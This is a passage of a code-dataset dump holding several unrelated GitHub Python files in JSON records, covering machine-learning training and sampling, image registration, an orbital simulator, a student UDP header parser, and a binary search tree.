= q_normal.log_prob(rep_z)\n\n            a = torch.exp(T + torch.mean(p_z, axis=-1) + torch.mean(p_x_z, axis=-1) - torch.mean(q_z_x, axis=-1))\n            a_ones = torch.ones_like(a)\n            if use_cuda:\n                a_ones = a_ones.to(device_gpu)\n            a = torch.min(a_ones, a)\n\n            u = torch.rand(num_samples_in_one_go)  ### Randomly generate U values.\n            if use_cuda:\n                u = u.to(device_gpu)\n            accept_mask = (u - a <= 0)\n            tensor_out_taken = x_cap[accept_mask]\n            tgt_count -= len(tensor_out_taken)\n            all_tensor_out_taken.append(tensor_out_taken)\n        tensor_out = torch.cat(all_tensor_out_taken)[:num_samples]\n        out = tensor_out.cpu().detach().numpy()\n        transformed_output = transform_reverse(out, output_dir)\n        print(\"GENERATED NUM OF SAMPLES\", transformed_output.shape[0])\n\n        sample_file_path = os.path.join(output_dir, 'samples_{}.csv'.format(num_samples))\n        transformed_output.to_csv(sample_file_path, index=False)\n        print(\"Sample has been saved in {}\".format(sample_file_path))\n","repo_name":"Cher-er/daslab-aqp","sub_path":"vae/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9866503146","text":"import matplotlib.pyplot as plt\nimport os\nimport torch\nimport numpy as np\nfrom datetime  import timedelta\nimport cv2\n\nfrom time import time\nfrom models import meta_model, meta_model_local, meta_model_sharp, meta_model_local_sharp, double_resnet, shooting_model, metamorphoses\nfrom train import train_opt\nfrom prepare_data import C_Dataset\nimport nibabel as nib\nfrom skimage.exposure import match_histograms\nfrom PIL import Image\nfrom utils import get_contours\nfrom utils import deform_image, dice\nimport random\n\n\n\nif __name__ == \"__main__\":\n    def get_free_gpu():\n        os.system('nvidia-smi -q -d Memory |grep -A4 GPU|grep Free >tmp')\n        memory_available = [int(x.split()[2]) for x in open('tmp', 'r').readlines()]\n        return np.argmax(memory_available)\n\n\n    free_gpu_id = get_free_gpu()\n    device = 'cuda:' + str(free_gpu_id) if torch.cuda.is_available() else 'cpu'\n    print(device)\n\n    use_segmentation = True\n\n    n_epoch = 100\n    l = 15\n    L2_weight = .5\n    lamda = 3e-7\n    v_weight = lamda / l\n    z_weight = lamda/ l\n    mu = 0.05\n    batch_size = 1\n    kernel_size = 31\n    sigma = 6.\n    debug = False\n\n    # test_set = C_Dataset(device, \"test_split.txt\", mode=\"test\")\n    # test_set = Brats2021_Dataset(device, mode=\"test\")\n    dir = '/home/matthis/datasets/MICCAI_BraTS_2018_Data_Training/HGG/'\n    image = 'Brats18_CBICA_ATB_1'\n    im = nib.load(dir + image + \"/\" + image + \"_t1.nii.gz\").get_fdata()\n    #seg = nib.load(dir + image + \"/\" + image + \"_seg.nii.gz\").get_fdata()\n    #seg=seg[:,:,80].transpose()\n    #seg[seg>0] = 1\n    s = cv2.imread(\"/home/matthis/Images/mask-1.png\", cv2.IMREAD_GRAYSCALE)\n    seg = np.array(cv2.resize(s, (240,240) ))\n    seg = (seg > 0.5) * 1.\n    im[im<0] = 0\n    im = (im - im.min()) / (im.max() - im.min())\n    im = im[:,:,80].transpose()\n    target_img = np.transpose(np.load(\"/home/matthis/datasets/sri24_t1_preprocessed.npy\").squeeze())\n\n\n    im[im!=0] = match_histograms(im[im!=0], target_img[target_img!=0])\n    target_img = target_img[np.newaxis, np.newaxis, ...].copy()\n    target_img = torch.from_numpy(target_img).float().to(device)\n    source_img = torch.from_numpy(im).float().unsqueeze(0).unsqueeze(0)\n    seg = torch.from_numpy(seg[np.newaxis, np.newaxis, ...].copy()).float()\n    seg = torch.ones(source_img.shape)\n    source = [source_img, seg]\n\n    #print(\"Number of test images:\", len(test_set))\n    #target_img = test_set.target.to(device)\n\n    #test_loader = torch.utils.data.DataLoader(test_set, batch_size=1, shuffle=False, num_workers=10)\n    be_sharp = True\n    z0 = torch.zeros(target_img.shape)\n\n    print(\"### Starting Metamorphoses ###\")\n    print(\"L2_weight=\", L2_weight)\n    print(\"z_weight=\", z_weight)\n    print(\"v_weight=\", v_weight)\n    print(\"n_epoch=\", n_epoch)\n    print(\"mu=\", mu)\n    print(\"sigma=\", sigma)\n    t = time()\n\n    L2_norm_list = []\n    def_list = []\n    num_folds = []\n    time_list = []\n    landa_list = [3e-6]\n    mu_list = [0.04]\n    for mu in mu_list:\n        for lamda in landa_list:\n            v_weight = lamda / l\n            z_weight = lamda / l\n            print(\"mu=\", mu)\n            print(\"lambda=\", lamda)\n            t=time()\n            model = metamorphoses(l, target_img.shape, device, kernel_size, sigma, mu, z0).to(device)\n            optimizer = torch.optim.Adam(list(model.parameters()), lr=1e0, weight_decay=1e-8)\n            L2, folds = train_opt(model, source, target_img, optimizer, device, n_iter=100, local_reg=use_segmentation, double_resnets=False, debug=debug, plot_iter=500, L2_weight=L2_weight, v_weight=v_weight, z_weight=z_weight)\n            L2_norm_list.append(L2.detach().cpu().item())\n            num_folds.append(folds.detach().cpu().item())\n            time_list.append(time()-t)\n            print(\"L2 loss:\", L2.detach().cpu().item(),  \"Fold number:\", folds.detach().cpu().item(), \"Time:\", str(timedelta(seconds=time_list[-1])))\n\n    print(\"Validation L2 loss: %f\" % (sum(L2_norm_list) / len(test_loader)),\n          \"std: %f\" % (np.array(L2_norm_list).std()))\n    print(\"Validation L2 deformation only: %f\" % (sum(def_list) / len(test_loader)),\n          \"std: %f\" % (np.array(def_list).std()))\n    print(\"Average fold number:\", sum(num_folds) / len(num_folds), \"std: %f\" % (np.array(num_folds).std()))\n    print(\"Average time :\", str(timedelta(seconds=sum(time_list) / len(num_folds))), \"std: %f\" % (np.array(time_list).std()))\n\n\n\n\n","repo_name":"mattmail/2D_meta","sub_path":"src/main_opt.py","file_name":"main_opt.py","file_ext":"py","file_size_in_byte":4395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11375835153","text":"from copy import deepcopy\r\nfrom math import *\r\n\r\nclass Object(object):\r\n    __slots__ = ('x','y','vx','vy')\r\n    \r\nG = 6.67428e-11\r\nearthMass = 6e24\r\nmoonMass = 7.347e22\r\n\r\ndef gravTo(x,y,mass):\r\n    d = sqrt(x*x+y*y)\r\n    if d < 1:\r\n        return 0,0\r\n    dx = x/d\r\n    dy = y/d\r\n    a = G*mass/(x*x+y*y)\r\n    return a*dx,a*dy\r\n\r\ndef stateToObjects(state):\r\n    result = []\r\n    for o in state.objects:\r\n        obj = Object()\r\n        obj.x = o[0]\r\n        obj.y = o[1]\r\n        obj.vx = 0\r\n        obj.vy = 0\r\n        result.append(obj)\r\n    return result\r\n\r\ndef deriv(objects):\r\n    result = []\r\n    for obj in objects:\r\n        d = Object()\r\n        d.x = obj.vx\r\n        d.y = obj.vy\r\n        d.vx,d.vy = gravTo(-obj.x,-obj.y,earthMass)\r\n        if len(objects) > 10: # have moon\r\n            max,may = gravTo(objects[-1].x-obj.x,\r\n                             objects[-1].y-obj.y,\r\n                             moonMass)\r\n            d.vx += max\r\n            d.vy += may\r\n        result.append(d)\r\n    return result\r\n\r\ndef advance(objs,dobjs,dt):\r\n    for obj,d in zip(objs,dobjs):\r\n        obj.x += d.x*dt\r\n        obj.y += d.y*dt\r\n        obj.vx += d.vx*dt\r\n        obj.vy += d.vy*dt\r\n\r\nclass Simulator(object):\r\n    def __init__(self,state,futureStates):\r\n        self.objects = stateToObjects(state)\r\n        self.state = deepcopy(state)\r\n        self.time = state.time\r\n        \r\n        #calcForces(self.objects)\r\n        nextState = futureStates[0]\r\n        d = deriv(self.objects)\r\n        for i,obj in enumerate(self.objects):\r\n            obj.vx = nextState.objects[i][0]-0.5*d[i].vx-state.objects[i][0]\r\n            obj.vy = nextState.objects[i][1]-0.5*d[i].vy-state.objects[i][1]\r\n         \r\n        # it doesn't work as expected   \r\n        #self.estimateSpeed([state]+futureStates)\r\n\r\n    def estimateSpeed(self,states):\r\n        objs = deepcopy(self.objects)\r\n        for obj in objs:\r\n            obj.vx = 0\r\n            obj.vy = 0\r\n        for j in range(len(states)-1):\r\n            d = deriv(stateToObjects(states[j]))\r\n            for i in range(len(objs)):\r\n                objs[i].x += 0.5*d[i].vx\r\n                objs[i].y += 0.5*d[i].vy\r\n                objs[i].x += objs[i].vx\r\n                objs[i].y += objs[i].vy\r\n                objs[i].vx += d[i].vx\r\n                objs[i].vy += d[i].vy\r\n        j += 1\r\n            \r\n        for i in range(len(objs)):\r\n            self.objects[i].vx = (states[j].objects[i][0]-objs[i].x)/j\r\n            self.objects[i].vy = (states[j].objects[i][1]-objs[i].y)/j\r\n        return\r\n        \r\n    def simulate(self,dt):\r\n        d = deriv(self.objects)\r\n        #advance(self.objects,d,dt)\r\n        for obj,dobj in zip(self.objects,d):\r\n            obj.x += (obj.vx+0.5*dobj.vx*dt)*dt\r\n            obj.y += (obj.vy+0.5*dobj.vy*dt)*dt\r\n            obj.vx += dobj.vx*dt\r\n            obj.vy += dobj.vy*dt\r\n        self.time += dt\r\n        self.updateState()\r\n        \r\n    def rungeKutta(self,dt):\r\n        y0 = deepcopy(self.objects)\r\n        k1 = deriv(y0)\r\n        y1 = deepcopy(y0)\r\n        advance(y1,k1,0.5*dt)\r\n        k2 = deriv(y1)\r\n        y2 = deepcopy(y0)\r\n        advance(y2,k2,0.5*dt)\r\n        k3 = deriv(y2)\r\n        y3 = deepcopy(y0)\r\n        advance(y3,k3,dt)\r\n        k4 = deriv(y3)\r\n        advance(self.objects,k1,1.0/6*dt)\r\n        advance(self.objects,k2,2.0/6*dt)\r\n        advance(self.objects,k3,2.0/6*dt)\r\n        advance(self.objects,k4,1.0/6*dt)\r\n        self.time += dt\r\n        self.updateState()\r\n        \r\n            \r\n    def updateState(self):\r\n        self.state.time = self.time\r\n        for i,obj in enumerate(self.objects):\r\n            self.state.objects[i] = obj.x,obj.y\r\n","repo_name":"Vlad-Shcherbina/icfpc2009-tbd","sub_path":"pyvis/src/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15860597771","text":"import torch\nfrom torch.autograd import Function\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nfrom itertools import product\nfrom networkx.drawing.nx_agraph import to_agraph\n\n\ndef graph_from_matrix(adjacency_matrix, show_isolated_nodes=True, weighted=True, self_loops=False):\n    # Size of nodes may be misleading since the plots do not show loops,\n    # i.e. edges (a, a) for node a.\n    if isinstance(adjacency_matrix, torch.Tensor):\n        adjacency_matrix = adjacency_matrix.numpy()\n    if not self_loops:\n        np.fill_diagonal(adjacency_matrix, 0)\n    max_edge_weight = 10\n    min_edge_weight = 0.1\n    max_node_weight = 100\n    fig = plt.figure(1)\n    rows, cols = np.where(adjacency_matrix != 0)  # now rows == cols\n    edges = zip(rows.tolist(), cols.tolist())\n    if weighted:\n        try:\n            edge_weights = adjacency_matrix.reshape(-1)\n            edge_weights = max_edge_weight * edge_weights[edge_weights != 0] / max(edge_weights) + min_edge_weight\n        except Exception as e:\n            print(f'Exception {e}: setting weighted=False')\n            weighted = False\n    if show_isolated_nodes:\n        if weighted:\n            try:\n                weights = [float(x) for x in np.sum(adjacency_matrix, axis=1)]\n                max_weight = max(weights)\n                weights = [x * max_node_weight / max_weight for x in weights]\n            except Exception as e:\n                print(f'Exception {e}: setting weighted=False')\n                weighted = False\n        gr = nx.empty_graph(adjacency_matrix.shape[0])\n    else:\n        if weighted:\n            try:\n                weights = [float(x) for x in np.sum(adjacency_matrix, axis=0) if x != 0]\n                max_weight = max(weights)\n                weights = [x * max_node_weight / max_weight for x in weights]\n            except Exception as e:\n                print(f'Exception {e}: setting weighted=False')\n                weighted = False\n        gr = nx.Graph()\n    gr.add_edges_from(edges)\n    pos = {label: np.array((pos1, pos2)) for label, (pos1, pos2) in zip(range(64), product(range(8), range(8)))}\n    pos = nx.circular_layout(gr)\n    if weighted:\n        nx.draw_networkx_nodes(gr, pos=pos, node_size=weights)\n        nx.draw_networkx_edges(gr, pos=pos, width=edge_weights)\n    else:\n        nx.draw_networkx_nodes(gr, pos=pos)\n        nx.draw_networkx_edges(gr, pos=pos)\n\n    return fig\n\n\nclass VectorQuantization(Function):\n    @staticmethod\n    def forward(ctx, inputs, codebook):\n        with torch.no_grad():\n            embedding_size = codebook.size(1)\n            inputs_size = inputs.size()\n            inputs_flatten = inputs.view(-1, embedding_size)\n\n            codebook_sqr = torch.sum(codebook ** 2, dim=1)\n            inputs_sqr = torch.sum(inputs_flatten ** 2, dim=1, keepdim=True)\n\n            # Compute the distances to the codebook\n            distances = torch.addmm(codebook_sqr + inputs_sqr,\n                                    inputs_flatten, codebook.t(), alpha=-2.0, beta=1.0)\n\n            _, indices_flatten = torch.min(distances, dim=1)\n            indices = indices_flatten.view(*inputs_size[:-1])\n            ctx.mark_non_differentiable(indices)\n\n            return indices\n\n    @staticmethod\n    def backward(ctx, grad_output):\n        raise RuntimeError('Trying to call `.grad()` on graph containing '\n                           '`VectorQuantization`. The function `VectorQuantization` '\n                           'is not differentiable. Use `VectorQuantizationStraightThrough` '\n                           'if you want a straight-through estimator of the gradient.')\n\n\nclass VectorQuantizationStraightThrough(Function):\n    @staticmethod\n    def forward(ctx, inputs, codebook):\n        indices = vq(inputs, codebook)  # [B, T]\n        indices_flatten = indices.view(-1)  # [B*T*D]\n        ctx.save_for_backward(indices_flatten, codebook)\n        ctx.mark_non_differentiable(indices_flatten)\n\n        codes_flatten = torch.index_select(codebook, dim=0,\n                                           index=indices_flatten)\n        codes = codes_flatten.view_as(inputs)  # [B,T,D]\n\n        return (codes, indices_flatten)\n\n    @staticmethod\n    def backward(ctx, grad_output, grad_indices):\n        grad_inputs, grad_codebook = None, None\n\n        if ctx.needs_input_grad[0]:\n            # Straight-through estimator\n            grad_inputs = grad_output.clone()\n        if ctx.needs_input_grad[1]:\n            # Gradient wrt. the codebook\n            indices, codebook = ctx.saved_tensors\n            embedding_size = codebook.size(1)\n\n            # map the outputs of grad to the respective embedding vectors\n            # grad_codebook: size of codebook, has all the summed grads\n            # grad_output gives a list of grad vectors (dim like codebook),\n            # but no indication of which code they originally belong to\n            # use indices to to map the grads to the correct positions in codebook\n            # indices.shape [B*T]\n            # grad_output_flatten.shape [B*T, D]\n\n            grad_output_flatten = (grad_output.contiguous()\n                                   .view(-1, embedding_size))\n            grad_codebook = torch.zeros_like(codebook)\n            grad_codebook.index_add_(0, indices, grad_output_flatten)\n\n        return (grad_inputs, grad_codebook)\n\n\nclass SampledVectorQuantizationStraightThrough(Function):\n\n    @staticmethod\n    def forward(ctx, inputs, codebook, m):\n\n        B, T, D = inputs.shape\n        K = codebook.shape[0]  # ?\n        e = codebook.view(1, K, D).repeat(B * T, 1, 1)  # [B*T, K, D]\n        z = inputs.view(B * T, 1, D).repeat(1, K, 1)  # [B*T, K, D]\n        if m is None:\n            m = B * T\n        probs = torch.norm(z - e, dim=2)  # [B*T, K]\n        indices = torch.distributions.Multinomial(m, probs).sample()  # [B*T, K]\n        # indices_sampled = SampleMultinomial(m, probs).sample()  # [B*T, m]\n        # indices_sampled.sum(axis=1) = m [B*T]\n        # for each encoded symbol we get a K-dim vector of sampled counts\n\n        m = indices.sum(axis=1)[0]\n        # indices /= m\n        ctx.save_for_backward(indices, codebook)\n        ctx.mark_non_differentiable(indices)\n\n        codes_flatten = torch.matmul(indices, codebook) / m  # [B*T]\n\n        codes = codes_flatten.view_as(inputs)  # [B,T,D]\n\n        return (codes, indices)\n\n    @staticmethod\n    def backward(ctx, grad_output, grad_indices):\n        grad_inputs, grad_codebook = None, None\n        if ctx.needs_input_grad[0]:\n            # Straight-through estimator\n            grad_inputs = grad_output.clone()\n\n        if ctx.needs_input_grad[1]:\n            # Gradient wrt. the codebook\n            indices, codebook = ctx.saved_tensors  # [B, K], [K, D]\n            B, K = indices.shape\n            m = indices.sum(axis=1)[0]\n            D = codebook.size(1)\n            indices = indices.view(B, 1, K).repeat(1, D, 1) / m\n            # !! torch.matmul(indices, embedding) ?\n            grad_output_flatten = (grad_output.contiguous()\n                                   .view(B, D))\n            # loop over entire batch. mutliply grads output with corresponding\n            # indices to remap it to the codebook entries that it was created from\n            grad_codebook = (grad_output_flatten.view(B, 1, D) * indices.permute(0, 2, 1)).sum(dim=0)\n\n        return (grad_inputs, grad_codebook, None)\n\n\nsvq_st = SampledVectorQuantizationStraightThrough.apply\nvq = VectorQuantization.apply\nvq_st = VectorQuantizationStraightThrough.apply\n__all__ = [vq, vq_st]\n\n\ndef clip_grad_norm(parameters, optimizer: dict) -> None:\n    if optimizer['grad_norm'] is not None:\n        torch.nn.utils.clip_grad_norm_(parameters, optimizer['grad_norm'])\n","repo_name":"ramsesjsf/HiddenSchemaNetworks","sub_path":"src/hiddenschemanetworks/models/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":7731,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"21450770259","text":"#!/usr/bin/env python3\n\n# This program uses the hexdump module, provided as a separate python file.\n\nimport hexdump\nimport socket\nimport struct\nimport sys\n\n\ndef parse_udp(segment):\n    \"\"\"\n    Parse a UDP segment (including header).\n\n    This function will parse a UDP segment and produce the following values:\n    `src_port`, `dst_port`, `udp_length`, `checksum`, `data_length`, `payload`\n\n    These values are:\n        src_port: source port parsed from the UDP header\n        dst_port: destination port parsed from the UDP header\n        udp_length: length field parsed from the UDP header\n        checksum: checksum field parsed from the UDP header\n\n        data_length: length of the payload, computed from udp_length\n        payload: actual payload of the segment, without the header\n    \"\"\"\n\n    # Stub implementation returning bogus values to produce example output\n    # while implementing. Remove this line before submitting and test your\n    # work without it.\n\n    # Your code extracting & computing the correct values goes here.\n    header_length = 8\n    header = segment[:header_length]\n    src_port, dst_port, udp_length, checksum = struct.unpack('>4H', header[:8])\n    \n    payload = segment[header_length:udp_length]\n    data_length = len(payload)\n\n    return src_port, dst_port, udp_length, checksum, data_length, payload\n\n\ndef main():\n    # Create the socket here.\n    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)\n    s.bind(('',65535))\n    \n    while True:\n        datagram, _ = s.recvfrom(65535)\n        segment = extract_segment(datagram)\n        dump_udp_to_console(segment)\n\n\ndef dump_udp_to_console(segment):\n    (udp_src_port, udp_dst_port, udp_length, udp_checksum,\n     udp_data_length, udp_payload) = parse_udp(segment)\n\n    print(\"Full segment\")\n    hexdump.hexdump(segment)\n\n    print(\"\"\"\\nUDP header:\n    Src port:    {}\n    Dst port:    {}\n    UDP length:  {}\n    Checksum:    0x{:04X}\n\nData length: {}\"\"\".format(udp_src_port, udp_dst_port,\n                          udp_length, udp_checksum,\n                          udp_data_length))\n    print(\"Data:\")\n    hexdump.hexdump(udp_payload)\n    print(\"\\n\\n\")\n\n    # Rudimentary testcases. Can't really check anything else without giving\n    # the exercise away.\n    if len(segment) != udp_length:\n        print(\"Your parser is not retrieving the UDP length field correctly\",\n              file=sys.stderr)\n    if len(udp_payload) != udp_data_length:\n        print(\"Your parser is miscomputing the data length or not extracting the payload correctly\",\n              file=sys.stderr)\n\n\ndef extract_segment(datagram):\n    header_length_in_bytes = (datagram[0] & 0x0F) * 4\n    segment = datagram[header_length_in_bytes:]\n    return segment\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Seraaphonano/Hello-world","sub_path":"netsec-assignment3-s1041423-s1032019/exercise2/udp_parser_start.py","file_name":"udp_parser_start.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70826063690","text":"\"\"\" Helper functions for the `run` command. \"\"\"\n\nimport importlib\nimport inspect\n\nimport dask\nimport edo\n\n\ndef get_default_optimiser_arguments():\n    \"\"\" Get the default arguments from `edo.DataOptimiser`. \"\"\"\n\n    signature = inspect.signature(edo.DataOptimiser)\n    defaults = {\n        k: v.default\n        for k, v in signature.parameters.items()\n        if v.default is not inspect.Parameter.empty\n    }\n\n    defaults[\"root\"] = None\n    defaults[\"processes\"] = None\n    defaults[\"fitness_kwargs\"] = None\n    defaults[\"stop_kwargs\"] = None\n    defaults[\"dwindle_kwargs\"] = None\n\n    return defaults\n\n\ndef get_experiment_parameters(experiment):\n    \"\"\" Get the parameters for the experiment. \"\"\"\n\n    spec = importlib.util.spec_from_file_location(\"__main__\", experiment)\n    experiment = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(experiment)\n\n    module = {k.lower(): v for k, v in vars(experiment).items()}\n\n    all_params = set(inspect.getfullargspec(edo.DataOptimiser).args) | set(\n        inspect.getfullargspec(edo.DataOptimiser.run).args\n    )\n\n    module_params = {k: v for k, v in module.items() if k in all_params}\n\n    module_params[\"families\"] = [\n        edo.Family(dist) for dist in module[\"distributions\"]\n    ]\n    module_params[\"optimiser\"] = module.get(\"optimiser\", edo.DataOptimiser)\n\n    params = get_default_optimiser_arguments()\n    params.update(module_params)\n\n    return params\n\n\n@dask.delayed\ndef run_single_trial(experiment, root, seed):\n    \"\"\" Lazily run a single trial of an experiment. \"\"\"\n\n    params = get_experiment_parameters(experiment)\n\n    _ = params.pop(\"root\")\n    optimiser = params.pop(\"optimiser\")\n    processes = params.pop(\"processes\")\n    fitness_kwargs = params.pop(\"fitness_kwargs\")\n    stop_kwargs = params.pop(\"stop_kwargs\")\n    dwindle_kwargs = params.pop(\"dwindle_kwargs\")\n\n    opt = optimiser(**params)\n    _ = opt.run(\n        root=root / str(seed),\n        processes=processes,\n        random_state=seed,\n        fitness_kwargs=fitness_kwargs,\n        stop_kwargs=stop_kwargs,\n        dwindle_kwargs=dwindle_kwargs,\n    )\n","repo_name":"daffidwilde/edolab","sub_path":"src/edolab/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5274538552","text":"# class BST:\n#     def __init__(self, value):\n#         self.value = value\n#         self.left = None\n#         self.right = None\n\n#     def insert(self, value):\n#         currentNode = self\n#         while True:\n#             if value < currentNode.value:\n#                 if currentNode.left is None:\n#                     currentNode.left = BST(value)\n#                     break\n#                 else:\n#                     currentNode = currentNode.left\n#             else:\n#                 if currentNode.right is None:\n#                     currentNode.right = BST(value)\n#                     break\n#                 else:\n#                     currentNode = currentNode.right\n#         return self\n\n#     def contains(self, value):\n#         currentNode = self\n#         while currentNode is not None:\n#             if value < currentNode.value:\n#                 currentNode = currentNode.left\n#             elif value > currentNode.value:\n#                 currentNode = currentNode.right\n#             else:\n#                 return True\n#         return False\n\n#     def remove(self, value, parentNode = None):\n#         currentNode = self\n#         while currentNode is not None:\n#             if value < currentNode.value:\n#                 parentNode = currentNode\n#                 currentNode = currentNode.left\n#             elif value > currentNode.value:\n#                 parentNode = currentNode\n#                 currentNode = currentNode.right\n#             else:\n#                 if currentNode.left is not None and currentNode.right is not None:\n#                     currentNode.value = currentNode.right.getMinValue()\n#                     currentNode.right.remove(currentNode.value, currentNode)\n#                 elif parentNode is None:\n#                     if currentNode.left is not None:\n#                         currentNode.value = currentNode.left.value\n#                         currentNode.right = currentNode.left.right\n#                         currentNode.left = currentNode.left.left\n#                     elif currentNode.right is not None:\n#                         currentNode.value = currentNode.right.value\n#                         currentNode.left = currentNode.right.left\n#                         currentNode.right = currentNode.right.right\n#                     else:\n#                         currentNode.value = None\n#                 elif parentNode.left == currentNode:\n#                     parentNode.left = currentNode.left if currentNode.left is not None else currentNode.right\n#                 elif parentNode.right == currentNode:\n#                     parentNode.right = currentNode.left if currentNode.left is not None else currentNode.right\n#                 break\n#         return self if currentNode is not None else None\n\n#     def getMinValue(self):\n#         currentNode = self\n#         while currentNode.left is not None:\n#             currentNode = currentNode.left\n#         return currentNode.value\n\n# Do not edit the class below except for\n# the insert, contains, and remove methods.\n# Feel free to add new properties and methods\n# to the class.\nclass BST:\n    def __init__(self, value):\n        self.value = value\n        self.left = None\n        self.right = None\n\n    def insert(self, value):\n        # Write your code here.\n        # Do not edit the return statement of this method.\n        if value < self.value:\n            if self.left:\n                self.left.insert(value)\n            else:\n                self.left = BST(value)\n        else:\n            if self.right:\n                self.right.insert(value)\n            else:\n                self.right = BST(value)\n                \n        return self\n\n    def contains(self, value):\n        # Write your code here.\n        if value < self.value:\n            if self.left:\n                return self.left.contains(value)\n            return False\n        elif value > self.value:\n            if self.right:\n                return self.right.contains(value)\n            return False\n        return True\n        pass\n\n    def remove(self, value):\n        if not self:\n            return self\n\n        if value < self.value:\n            if self.left:\n                self.left = self.left.remove(value)\n        elif value > self.value:\n            if self.right:\n                self.right = self.right.remove(value)\n        else:\n            if not self.right and not self.left:\n                return None\n            elif not self.left:\n                self.value = self.right.value\n                self.left = self.right.left\n                self.right = self.right.right\n            elif not self.right:\n                self.value = self.left.value\n                self.right = self.left.right\n                self.left = self.left.left\n                return self\n\n            else:\n                successor = self.right.inOrderSuccessor()\n                self.value = successor.value\n                self.right = self.right.remove(successor.value)\n                \n        return self\n\n    def inOrderSuccessor(self):\n        while self.left:\n            self = self.left\n        return self","repo_name":"rep-pierce/algorithms","sub_path":"BST_contstruction.py","file_name":"BST_contstruction.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39965626090","text":"__author__ = 'marvinler'\n\nimport argparse\n\nimport numpy as np\nimport sklearn.metrics as metrics\nimport torch\nimport torch.utils.data\n\nfrom dataset import Dataset\nfrom model import instantiate_sparseconvmil\n\n\ndef _define_args():\n    parser = argparse.ArgumentParser(description='SparseConvMIL: Sparse Convolutional Context-Aware Multiple Instance '\n                                                 'Learning for Whole Slide Image Classification')\n\n    parser.add_argument('--slide-parent-folder', type=str, default='sample_data', metavar='PATH',\n                        help='path of parent folder containing preprocessed slides data')\n    parser.add_argument('--slide-labels-filepath', type=str, default='sample_data/labels.csv', metavar='PATH',\n                        help='path of CSV-file containing slide labels')\n\n    parser.add_argument('--epochs', type=int, default=200, metavar='N', help='number of training epochs')\n    parser.add_argument('--lr', type=float, default=2e-3, metavar='LR', help='learning rate')\n    parser.add_argument('--reg', type=float, default=1e-6, metavar='R', help='weight decay')\n\n    # Model parameters\n    parser.add_argument('--tile-embedder', type=str, default='resnet18', metavar='MODEL', nargs='*',\n                        help='type of resnet architecture for the tile embedder')\n    parser.add_argument('--tile-embedder-pretrained', action='store_true', default=False,\n                        help='use Imagenet-pretrained tile embedder architecture')\n    parser.add_argument('--sparse-conv-n-channels-conv1', type=int, default=32,\n                        help='number of channels of first convolution of the sparse-input CNN pooling')\n    parser.add_argument('--sparse-conv-n-channels-conv2', type=int, default=32,\n                        help='number of channels of first convolution of the sparse-input CNN pooling')\n    parser.add_argument('--sparse-map-downsample', type=int, default=10, help='downsampling factor of the sparse map')\n    parser.add_argument('--wsi-embedding-classifier-n-inner-neurons', type=int, default=32,\n                        help='number of inner neurons for the WSI embedding classifier')\n\n    # Dataset parameters\n    parser.add_argument('--batch-size', type=int, default=2, metavar='SIZE',\n                        help='number of slides sampled per iteration')\n    parser.add_argument('--n-tiles-per-wsi', type=int, default=5, metavar='SIZE',\n                        help='number of tiles to be sampled per WSI')\n\n    # Miscellaneous parameters\n    parser.add_argument('--j', type=int, default=10, metavar='N_WORKERS', help='number of workers for dataloader')\n\n    args = parser.parse_args()\n    hyper_parameters = {\n        'slide_parent_folder': args.slide_parent_folder,\n        'slide_labels_filepath': args.slide_labels_filepath,\n        'epochs': args.epochs,\n        'lr': args.lr,\n        'reg': args.reg,\n        'tile_embedder': args.tile_embedder,\n        'tile_embedder_pretrained': args.tile_embedder_pretrained,\n        'sparse_conv_n_channels_conv1': args.sparse_conv_n_channels_conv1,\n        'sparse_conv_n_channels_conv2': args.sparse_conv_n_channels_conv2,\n        'sparse_map_downsample': args.sparse_map_downsample,\n        'wsi_embedding_classifier_n_inner_neurons': args.wsi_embedding_classifier_n_inner_neurons,\n        'batch_size': args.batch_size,\n        'n_tiles_per_wsi': args.n_tiles_per_wsi,\n        'j': args.j,\n    }\n\n    return hyper_parameters\n\n\ndef get_dataloader(dataset, batch_size, shuffle, num_workers):\n    return torch.utils.data.DataLoader(dataset, batch_size, shuffle, num_workers=num_workers)\n\n\ndef perform_epoch(mil_model, dataloader, optimizer, loss_function):\n    \"\"\"\n    Perform a complete training epoch by looping through all data of the dataloader.\n    :param mil_model: MIL model to be trained\n    :param dataloader: loader of the dataset\n    :param optimizer: pytorch optimizer\n    :param loss_function: loss function to compute gradients\n    :return: (mean of losses, balanced accuracy)\n    \"\"\"\n    proba_predictions = []\n    ground_truths = []\n    losses = []\n\n    for data, locations, slides_labels, slides_ids in dataloader:\n        data = data.cuda()\n        locations = locations.cuda()\n        slides_labels_cuda = slides_labels.cuda()\n\n        optimizer.zero_grad()\n        predictions = mil_model(data, locations)\n\n        loss = loss_function(predictions, slides_labels_cuda)\n        loss.backward()\n        optimizer.step()\n\n        # Store data for finale epoch average measures\n        losses.append(loss.detach().cpu().numpy())\n        proba_predictions.extend(predictions.detach().cpu().numpy())\n        ground_truths.extend(slides_labels.numpy())\n\n    predicted_classes = np.argmax(proba_predictions, axis=1)\n    return np.mean(losses), metrics.balanced_accuracy_score(ground_truths, predicted_classes)\n\n\ndef main(hyper_parameters):\n    # Loads dataset and dataloader\n    print('Loading data')\n    dataset = Dataset(hyper_parameters['slide_parent_folder'], hyper_parameters['slide_labels_filepath'],\n                      hyper_parameters['n_tiles_per_wsi'])\n    n_classes = dataset.n_classes\n    dataloader = get_dataloader(dataset, hyper_parameters['batch_size'], True, 